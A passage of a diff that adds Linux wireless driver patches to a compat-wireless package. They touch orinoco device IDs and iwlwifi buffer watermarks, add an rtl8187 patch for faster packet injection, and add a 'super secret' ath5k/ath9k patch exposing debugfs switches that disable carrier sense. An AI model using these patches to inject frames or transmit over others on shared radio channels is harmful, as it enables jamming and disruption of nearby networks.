++	PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9),
++	PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26),
++	PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b),
++	PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e),
++#ifdef CONFIG_HERMES_PRISM
++	/* Only entries that certainly identify Prism chipset */
++	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */
++	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */
++	PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */
++	PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */
++	PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */
++	PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */
++	PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */
++	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */
++	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */
++	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */
++	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */
+ 	PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), /* Airvast WN-100 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), /* Adaptec Ultra Wireless ANW-8030 */
+ 	PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), /* CONTEC FLEXSCAN/FX-DDS110-PCC */
+ 	PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), /* Conceptronic CON11Cpro, EMTAC A2424i */
+ 	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), /* Safeway 802.11b, ZCOMAX AirRunner/XI-300 */
+ 	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), /* D-Link DCF660, Sandisk Connect SDWCFB-000 */
+-	PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9),
+-	PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3),
++	PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0),
+ 	PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5),
+ 	PCMCIA_DEVICE_PROD_ID12("Addtron", "AWP-100 Wireless PCMCIA", 0xe6ec52ce, 0x08649af2),
+-	PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f),
+-	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842),
+-	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e),
+-	PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169),
+-	PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb),
+-	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3),
+ 	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18),
+-	PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90),
++	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3),
+ 	PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b),
+ 	PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584),
+ 	PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9),
+ 	PCMCIA_DEVICE_PROD_ID12("corega_K.K.", "Wireless_LAN_PCCB-11", 0x29e33311, 0xee7a27ae),
++	PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146),
+ 	PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac),
+ 	PCMCIA_DEVICE_PROD_ID12("D", "Link DWL-650 11Mbps WLAN Card", 0x71b18589, 0xb6f1b0ab),
+-	PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916),
+-	PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146),
+-	PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3),
+-	PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c),
+-	PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0),
+-	PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077),
++	PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9),
+ 	PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18),
+ 	PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77),
+ 	PCMCIA_DEVICE_PROD_ID12("Intersil", "PRISM 2_5 PCMCIA ADAPTER", 0x4b801a17, 0x6345a0bf),
+-	PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92),
+ 	PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395),
+-	PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a),
+-	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410),
+-	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3),
+ 	PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01),
+-	PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a),
+-	PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1),
+ 	PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1),
+-	PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767),
++	PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1),
+ 	PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6),
+-	PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed),
+ 	PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264),
+ 	PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178),
+-	PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9),
+-	PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26),
+-	PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b),
+ 	PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2532W-B EliteConnect Wireless Adapter", 0xc4f8b18b, 0x196bd757),
+ 	PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2632W", 0xc4f8b18b, 0x474a1f2a),
+-	PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e),
+ 	PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee),
+ 	PCMCIA_DEVICE_PROD_ID3("HFA3863", 0x355cb092),
+ 	PCMCIA_DEVICE_PROD_ID3("ISL37100P", 0x630d52b2),
+ 	PCMCIA_DEVICE_PROD_ID3("ISL37101P-10", 0xdd97a26b),
+ 	PCMCIA_DEVICE_PROD_ID3("ISL37300P", 0xc9049a39),
++#endif
+ 	PCMCIA_DEVICE_NULL,
+ };
+ MODULE_DEVICE_TABLE(pcmcia, orinoco_cs_ids);
diff --git a/net-wireless/compat-wireless/files/reinette-test2.patch b/net-wireless/compat-wireless/files/reinette-test2.patch
new file mode 100644
index 00000000..fe9fee1e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/reinette-test2.patch
@@ -0,0 +1,36 @@
+diff --git a/drivers/net/wireless/iwlwifi/iwl-agn-lib.c b/drivers/net/wireless/iwlwifi/iwl-agn-lib.c
+index 0f292a2..2815ee7 100644
+--- a/drivers/net/wireless/iwlwifi/iwl-agn-lib.c
++++ b/drivers/net/wireless/iwlwifi/iwl-agn-lib.c
+@@ -613,7 +613,8 @@ void iwlagn_rx_allocate(struct iwl_priv *priv, gfp_t priority)
+ 		}
+ 		spin_unlock_irqrestore(&rxq->lock, flags);
+ 
+-		if (rxq->free_count > RX_LOW_WATERMARK)
++		if ((priority == GFP_ATOMIC) ||
++		    (rxq->free_count > RX_LOW_WATERMARK / 4))
+ 			gfp_mask |= __GFP_NOWARN;
+ 
+ 		if (priv->hw_params.rx_page_order > 0)
+@@ -627,7 +628,7 @@ void iwlagn_rx_allocate(struct iwl_priv *priv, gfp_t priority)
+ 					       "order: %d\n",
+ 					       priv->hw_params.rx_page_order);
+ 
+-			if ((rxq->free_count <= RX_LOW_WATERMARK) &&
++			if ((rxq->free_count <= RX_LOW_WATERMARK / 4) &&
+ 			    net_ratelimit())
+ 				IWL_CRIT(priv, "Failed to alloc_pages with %s. Only %u free buffers remaining.\n",
+ 					 priority == GFP_ATOMIC ?  "GFP_ATOMIC" : "GFP_KERNEL",
+diff --git a/drivers/net/wireless/iwlwifi/iwl-fh.h b/drivers/net/wireless/iwlwifi/iwl-fh.h
+index 113c366..431bc58 100644
+--- a/drivers/net/wireless/iwlwifi/iwl-fh.h
++++ b/drivers/net/wireless/iwlwifi/iwl-fh.h
+@@ -426,7 +426,7 @@
+  * RX related structures and functions
+  */
+ #define RX_FREE_BUFFERS 64
+-#define RX_LOW_WATERMARK 8
++#define RX_LOW_WATERMARK 128
+ 
+ /* Size of one Rx buffer in host DRAM */
+ #define IWL_RX_BUF_SIZE_3K (3 * 1000) /* 3945 only */
diff --git a/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch b/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
new file mode 100644
index 00000000..5bcef9eb
--- /dev/null
+++ b/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
@@ -0,0 +1,30 @@
+diff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+index 9212cea..08d04a3 100644
+--- a/drivers/net/wireless/rtl818x/rtl8187_dev.c
++++ b/drivers/net/wireless/rtl818x/rtl8187_dev.c
+@@ -258,7 +258,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->len = 0;
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates[0].count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++		  hdr->retry =
++		    cpu_to_le32((info->control.rates[0].count - 1) << 8);
++		else
++		  hdr->retry = 0;
+ 		buf = hdr;
+ 
+ 		ep = 2;
+@@ -276,7 +280,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb)
+ 		memset(hdr, 0, sizeof(*hdr));
+ 		hdr->flags = cpu_to_le32(flags);
+ 		hdr->rts_duration = rts_dur;
+-		hdr->retry = cpu_to_le32((info->control.rates[0].count - 1) << 8);
++		if (!(info->flags & IEEE80211_TX_CTL_NO_ACK))
++		  hdr->retry =
++		    cpu_to_le32((info->control.rates[0].count - 1) << 8);
++		else
++		  hdr->retry = 0;
+ 		hdr->tx_duration =
+ 			ieee80211_generic_frame_duration(dev, priv->vif,
+ 							 skb->len, txrate);
diff --git a/net-wireless/compat-wireless/files/super_secret_patch.diff b/net-wireless/compat-wireless/files/super_secret_patch.diff
new file mode 100644
index 00000000..bb9b58d5
--- /dev/null
+++ b/net-wireless/compat-wireless/files/super_secret_patch.diff
@@ -0,0 +1,453 @@
+From: Benoit Papillault <benoit.papillault@free.fr>
+Date: Thu, 8 Apr 2010 21:53:39 +0000 (+0200)
+Subject: ath5k & ath9k: Add the ability to disable physical & virtual carrier sense.
+X-Git-Url: http://git.popipo.fr/?p=rt2x00.git;a=commitdiff_plain;h=6e617aef04e78aa09fdaf029ff2095bda8509606
+
+ath5k & ath9k: Add the ability to disable physical & virtual carrier sense.
+
+This patch adds 2 debugfs file in ath5k and ath9k debugfs directory, called :
+- physical_carrier_sense : when set to 1, physical carrier sense is disabled.
+- virtual_carrier_sense  : when set to 1, virtual carrier sense is disabled
+
+Carrier sense settings are restored after a hardware reset.
+---
+
+diff --git a/drivers/net/wireless/ath/ath5k/ath5k.h b/drivers/net/wireless/ath/ath5k/ath5k.h
+index ac67f02..1f90dde 100644
+--- a/drivers/net/wireless/ath/ath5k/ath5k.h
++++ b/drivers/net/wireless/ath/ath5k/ath5k.h
+@@ -1135,6 +1135,10 @@ struct ath5k_hw {
+ 	/* Software interrupt mask */
+ 	u8			ah_swi_mask;
+ 
++	/* Saved values of physical & virtual carrier sense */
++	int saved_phy_cs;
++	int saved_virt_cs;
++
+ 	/*
+ 	 * Function pointers
+ 	 */
+@@ -1310,6 +1314,11 @@ extern unsigned int ath5k_hw_get_def_antenna(struct ath5k_hw *ah);
+ /* TX power setup */
+ extern int ath5k_hw_txpower(struct ath5k_hw *ah, struct ieee80211_channel *channel, u8 ee_mode, u8 txpower);
+ extern int ath5k_hw_set_txpower_limit(struct ath5k_hw *ah, u8 txpower);
++/* physical & virtual carrier sense get/set methods */
++int ath5k_hw_get_phy_cs(struct ath5k_hw *ah);
++void ath5k_hw_set_phy_cs(struct ath5k_hw *ah, int val);
++int ath5k_hw_get_virt_cs(struct ath5k_hw *ah);
++void ath5k_hw_set_virt_cs(struct ath5k_hw *ah, int val);
+ 
+ /*
+  * Functions used internaly
+diff --git a/drivers/net/wireless/ath/ath5k/debug.c b/drivers/net/wireless/ath/ath5k/debug.c
+index 747508c..246c62d 100644
+--- a/drivers/net/wireless/ath/ath5k/debug.c
++++ b/drivers/net/wireless/ath/ath5k/debug.c
+@@ -363,6 +363,90 @@ static const struct file_operations fops_debug = {
+ 	.owner = THIS_MODULE,
+ };
+ 
++static ssize_t read_file_phy_cs(struct file *file, char __user *user_buf,
++				size_t count, loff_t *ppos)
++{
++	struct ath5k_softc *sc = file->private_data;
++	struct ath5k_hw *ah = sc->ah;
++	char buf[32];
++	unsigned int len;
++	int val;
++
++	val = ath5k_hw_get_phy_cs(ah);
++	len = snprintf(buf, sizeof(buf), "%d\n", val);
++	return simple_read_from_buffer(user_buf, count, ppos, buf, len);
++}
++
++static ssize_t write_file_phy_cs(struct file *file, const char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath5k_softc *sc = file->private_data;
++	struct ath5k_hw *ah = sc->ah;
++	unsigned long val;
++	char buf[32];
++	ssize_t len;
++
++	len = min(count, sizeof(buf) - 1);
++	if (copy_from_user(buf, user_buf, len))
++		return -EINVAL;
++
++	buf[len] = '\0';
++	if (strict_strtoul(buf, 0, &val))
++		return -EINVAL;
++
++	ath5k_hw_set_phy_cs(ah, val);
++	return count;
++}
++
++static const struct file_operations fops_phy_cs = {
++	.read = read_file_phy_cs,
++	.write = write_file_phy_cs,
++	.open = ath5k_debugfs_open,
++	.owner = THIS_MODULE
++};
++
++static ssize_t read_file_virt_cs(struct file *file, char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath5k_softc *sc = file->private_data;
++	struct ath5k_hw *ah = sc->ah;
++	char buf[32];
++	unsigned int len;
++	int val;
++
++	val = ath5k_hw_get_virt_cs(ah);
++	len = snprintf(buf, sizeof(buf), "%d\n",val);
++	return simple_read_from_buffer(user_buf, count, ppos, buf, len);
++}
++
++static ssize_t write_file_virt_cs(struct file *file, const char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath5k_softc *sc = file->private_data;
++	struct ath5k_hw *ah = sc->ah;
++	unsigned long val;
++	char buf[32];
++	ssize_t len;
++
++	len = min(count, sizeof(buf) - 1);
++	if (copy_from_user(buf, user_buf, len))
++		return -EINVAL;
++
++	buf[len] = '\0';
++	if (strict_strtoul(buf, 0, &val))
++		return -EINVAL;
++
++	ath5k_hw_set_virt_cs(ah, val);
++
++	return count;
++}
++
++static const struct file_operations fops_virt_cs = {
++	.read = read_file_virt_cs,
++	.write = write_file_virt_cs,
++	.open = ath5k_debugfs_open,
++	.owner = THIS_MODULE
++};
+ 
+ /* init */
+ 
+@@ -393,6 +477,14 @@ ath5k_debug_init_device(struct ath5k_softc *sc)
+ 
+ 	sc->debug.debugfs_reset = debugfs_create_file("reset", S_IWUSR,
+ 				sc->debug.debugfs_phydir, sc, &fops_reset);
++
++	sc->debug.debugfs_phy_cs = debugfs_create_file("physical_carrier_sense",
++				S_IRUSR|S_IWUSR,
++				sc->debug.debugfs_phydir, sc, &fops_phy_cs);
++
++	sc->debug.debugfs_virt_cs = debugfs_create_file("virtual_carrier_sense",
++				S_IRUSR|S_IWUSR,
++				sc->debug.debugfs_phydir, sc, &fops_virt_cs);
+ }
+ 
+ void
+@@ -404,6 +496,8 @@ ath5k_debug_finish(void)
+ void
+ ath5k_debug_finish_device(struct ath5k_softc *sc)
+ {
++	debugfs_remove(sc->debug.debugfs_virt_cs);
++	debugfs_remove(sc->debug.debugfs_phy_cs);
+ 	debugfs_remove(sc->debug.debugfs_debug);
+ 	debugfs_remove(sc->debug.debugfs_registers);
+ 	debugfs_remove(sc->debug.debugfs_beacon);
+diff --git a/drivers/net/wireless/ath/ath5k/debug.h b/drivers/net/wireless/ath/ath5k/debug.h
+index 66f69f0..070226c 100644
+--- a/drivers/net/wireless/ath/ath5k/debug.h
++++ b/drivers/net/wireless/ath/ath5k/debug.h
+@@ -74,6 +74,8 @@ struct ath5k_dbg_info {
+ 	struct dentry		*debugfs_registers;
+ 	struct dentry		*debugfs_beacon;
+ 	struct dentry		*debugfs_reset;
++	struct dentry		*debugfs_phy_cs;
++	struct dentry		*debugfs_virt_cs;
+ };
+ 
+ /**
+diff --git a/drivers/net/wireless/ath/ath5k/phy.c b/drivers/net/wireless/ath/ath5k/phy.c
+index eff3323..4604e8f 100644
+--- a/drivers/net/wireless/ath/ath5k/phy.c
++++ b/drivers/net/wireless/ath/ath5k/phy.c
+@@ -3145,3 +3145,41 @@ int ath5k_hw_set_txpower_limit(struct ath5k_hw *ah, u8 txpower)
+ }
+ 
+ #undef _ATH5K_PHY
++int ath5k_hw_get_phy_cs(struct ath5k_hw *ah)
++{
++	u32 regval;
++
++	regval = ath5k_hw_reg_read(ah, AR5K_DIAG_SW);
++	return !!(regval & AR5K_DIAG_SW_RX_CLEAR_HIGH);
++}
++
++void ath5k_hw_set_phy_cs(struct ath5k_hw *ah, int val)
++{
++	if (val)
++		AR5K_REG_ENABLE_BITS(ah, AR5K_DIAG_SW,
++				     AR5K_DIAG_SW_RX_CLEAR_HIGH);
++	else
++		AR5K_REG_DISABLE_BITS(ah, AR5K_DIAG_SW,
++				      AR5K_DIAG_SW_RX_CLEAR_HIGH);
++	ah->saved_phy_cs = val;
++}
++
++int ath5k_hw_get_virt_cs(struct ath5k_hw *ah)
++{
++	u32 regval; 
++
++	regval = ath5k_hw_reg_read(ah, AR5K_DIAG_SW);
++	return !!(regval & AR5K_DIAG_SW_IGNORE_CARR_SENSE);
++}
++
++void ath5k_hw_set_virt_cs(struct ath5k_hw *ah, int val)
++{
++	if (val)
++		AR5K_REG_ENABLE_BITS(ah, AR5K_DIAG_SW,
++				     AR5K_DIAG_SW_IGNORE_CARR_SENSE);
++	else
++		AR5K_REG_DISABLE_BITS(ah, AR5K_DIAG_SW,
++				      AR5K_DIAG_SW_IGNORE_CARR_SENSE);
++	ah->saved_virt_cs = val;
++}
++
+diff --git a/drivers/net/wireless/ath/ath5k/reset.c b/drivers/net/wireless/ath/ath5k/reset.c
+index cbf28e3..7d337f3 100644
+--- a/drivers/net/wireless/ath/ath5k/reset.c
++++ b/drivers/net/wireless/ath/ath5k/reset.c
+@@ -1386,6 +1386,9 @@ int ath5k_hw_reset(struct ath5k_hw *ah, enum nl80211_iftype op_mode,
+ 	 */
+ 	AR5K_REG_DISABLE_BITS(ah, AR5K_BEACON, AR5K_BEACON_ENABLE);
+ 	ath5k_hw_reset_tsf(ah);
++
++	ath5k_hw_set_phy_cs(ah, ah->saved_phy_cs);
++	ath5k_hw_set_virt_cs(ah, ah->saved_virt_cs);
+ 	return 0;
+ }
+ 
+diff --git a/drivers/net/wireless/ath/ath9k/debug.c b/drivers/net/wireless/ath/ath9k/debug.c
+index 42d2a50..a65d9fc 100644
+--- a/drivers/net/wireless/ath/ath9k/debug.c
++++ b/drivers/net/wireless/ath/ath9k/debug.c
+@@ -699,6 +699,75 @@ static const struct file_operations fops_recv = {
+ 	.owner = THIS_MODULE
+ };
+ 
++static ssize_t write_file_phy_cs(struct file *file, const char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath_softc *sc = file->private_data;
++	unsigned long val;
++	char buf[32];
++	ssize_t len;
++
++	len = min(count, sizeof(buf) - 1);
++	if (copy_from_user(buf, user_buf, len))
++		return -EINVAL;
++
++	buf[len] = '\0';
++	if (strict_strtoul(buf, 0, &val))
++		return -EINVAL;
++
++	ath9k_hw_set_phy_cs(sc->sc_ah, val);
++
++	return count;
++}
++
++static const struct file_operations fops_phy_cs = {
++	.read = read_file_phy_cs,
++	.write = write_file_phy_cs,
++	.open = ath9k_debugfs_open,
++	.owner = THIS_MODULE
++};
++
++static ssize_t read_file_virt_cs(struct file *file, char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath_softc *sc = file->private_data;
++	char buf[32];
++	unsigned int len;
++	int val;
++
++	val = ath9k_hw_get_virt_cs(sc->sc_ah);
++	len = snprintf(buf, sizeof(buf), "%d\n", val);
++	return simple_read_from_buffer(user_buf, count, ppos, buf, len);
++}
++
++static ssize_t write_file_virt_cs(struct file *file, const char __user *user_buf,
++				 size_t count, loff_t *ppos)
++{
++	struct ath_softc *sc = file->private_data;
++	unsigned long val;
++	char buf[32];
++	ssize_t len;
++
++	len = min(count, sizeof(buf) - 1);
++	if (copy_from_user(buf, user_buf, len))
++		return -EINVAL;
++
++	buf[len] = '\0';
++	if (strict_strtoul(buf, 0, &val))
++		return -EINVAL;
++
++	ath9k_hw_set_virt_cs(sc->sc_ah, val);
++
++	return count;
++}
++
++static const struct file_operations fops_virt_cs = {
++	.read = read_file_virt_cs,
++	.write = write_file_virt_cs,
++	.open = ath9k_debugfs_open,
++	.owner = THIS_MODULE
++};
++
+ int ath9k_init_debug(struct ath_hw *ah)
+ {
+ 	struct ath_common *common = ath9k_hw_common(ah);
+@@ -758,6 +827,20 @@ int ath9k_init_debug(struct ath_hw *ah)
+ 	if (!sc->debug.debugfs_recv)
+ 		goto err;
+ 
++	sc->debug.debugfs_phy_cs = debugfs_create_file("physical_carrier_sense",
++						       S_IRUSR|S_IWUSR,
++						       sc->debug.debugfs_phy,
++						       sc, &fops_phy_cs);
++	if (!sc->debug.debugfs_phy_cs)
++		goto err;
++
++	sc->debug.debugfs_virt_cs = debugfs_create_file("virtual_carrier_sense",
++							S_IRUSR|S_IWUSR,
++							sc->debug.debugfs_phy,
++							sc, &fops_virt_cs);
++	if (!sc->debug.debugfs_virt_cs)
++		goto err;
++
+ 	return 0;
+ err:
+ 	ath9k_exit_debug(ah);
+@@ -769,6 +852,8 @@ void ath9k_exit_debug(struct ath_hw *ah)
+ 	struct ath_common *common = ath9k_hw_common(ah);
+ 	struct ath_softc *sc = (struct ath_softc *) common->priv;
+ 
++	debugfs_remove(sc->debug.debugfs_virt_cs);
++	debugfs_remove(sc->debug.debugfs_phy_cs);
+ 	debugfs_remove(sc->debug.debugfs_recv);
+ 	debugfs_remove(sc->debug.debugfs_xmit);
+ 	debugfs_remove(sc->debug.debugfs_wiphy);
+diff --git a/drivers/net/wireless/ath/ath9k/debug.h b/drivers/net/wireless/ath/ath9k/debug.h
+index 86780e6..d86bbe5 100644
+--- a/drivers/net/wireless/ath/ath9k/debug.h
++++ b/drivers/net/wireless/ath/ath9k/debug.h
+@@ -156,6 +156,8 @@ struct ath9k_debug {
+ 	struct dentry *debugfs_wiphy;
+ 	struct dentry *debugfs_xmit;
+ 	struct dentry *debugfs_recv;
++	struct dentry *debugfs_phy_cs;
++	struct dentry *debugfs_virt_cs;
+ 	struct ath_stats stats;
+ };
+ 
+diff --git a/drivers/net/wireless/ath/ath9k/hw.c b/drivers/net/wireless/ath/ath9k/hw.c
+index 2e767cf..aef52aa 100644
+--- a/drivers/net/wireless/ath/ath9k/hw.c
++++ b/drivers/net/wireless/ath/ath9k/hw.c
+@@ -954,6 +954,10 @@ int ath9k_hw_init(struct ath_hw *ah)
+ 
+ 	common->state = ATH_HW_INITIALIZED;
+ 
++	/* Initially, physical and virtual carrier sense are enabled */
++	ah->saved_phy_cs = 0;
++	ah->saved_virt_cs = 0;
++
+ 	return 0;
+ }
+ 
+@@ -1913,6 +1917,44 @@ static void ath9k_enable_rfkill(struct ath_hw *ah)
+ 	REG_SET_BIT(ah, AR_PHY_TEST, RFSILENT_BB);
+ }
+ 
++int ath9k_hw_get_phy_cs(struct ath_hw *ah)
++{
++	u32 regval;
++
++	regval = REG_READ(ah, AR_DIAG_SW);
++	return !!(regval & AR_DIAG_FORCE_RX_CLEAR);
++}
++EXPORT_SYMBOL(ath9k_hw_get_phy_cs);
++
++void ath9k_hw_set_phy_cs(struct ath_hw *ah, int val)
++{
++	if (val)
++		REG_SET_BIT(ah, AR_DIAG_SW, AR_DIAG_FORCE_RX_CLEAR);
++	else
++		REG_CLR_BIT(ah, AR_DIAG_SW, AR_DIAG_FORCE_RX_CLEAR);
++	ah->saved_phy_cs = val;
++}
++EXPORT_SYMBOL(ath9k_hw_set_phy_cs);
++
++int ath9k_hw_get_virt_cs(struct ath_hw *ah)
++{
++	u32 regval;
++
++	regval = REG_READ(ah, AR_DIAG_SW);
++	return !!(regval & AR_DIAG_IGNORE_VIRT_CS);
++}
++EXPORT_SYMBOL(ath9k_hw_get_virt_cs);
++
++void ath9k_hw_set_virt_cs(struct ath_hw *ah, int val)
++{
++	if (val)
++		REG_SET_BIT(ah, AR_DIAG_SW, AR_DIAG_IGNORE_VIRT_CS);
++	else
++		REG_CLR_BIT(ah, AR_DIAG_SW, AR_DIAG_IGNORE_VIRT_CS);
++	ah->saved_virt_cs = val;
++}
++EXPORT_SYMBOL(ath9k_hw_set_virt_cs);
++
+ int ath9k_hw_reset(struct ath_hw *ah, struct ath9k_channel *chan,
+ 		    bool bChannelChange)
+ {
+@@ -2142,6 +2184,9 @@ int ath9k_hw_reset(struct ath_hw *ah, struct ath9k_channel *chan,
+ 	if (ah->btcoex_hw.enabled)
+ 		ath9k_hw_btcoex_enable(ah);
+ 
++	ath9k_hw_set_phy_cs(ah, ah->saved_phy_cs);
++	ath9k_hw_set_virt_cs(ah, ah->saved_virt_cs);
++
+ 	return 0;
+ }
+ EXPORT_SYMBOL(ath9k_hw_reset);
+diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h
+index dbbf7ca..2c1dac4 100644
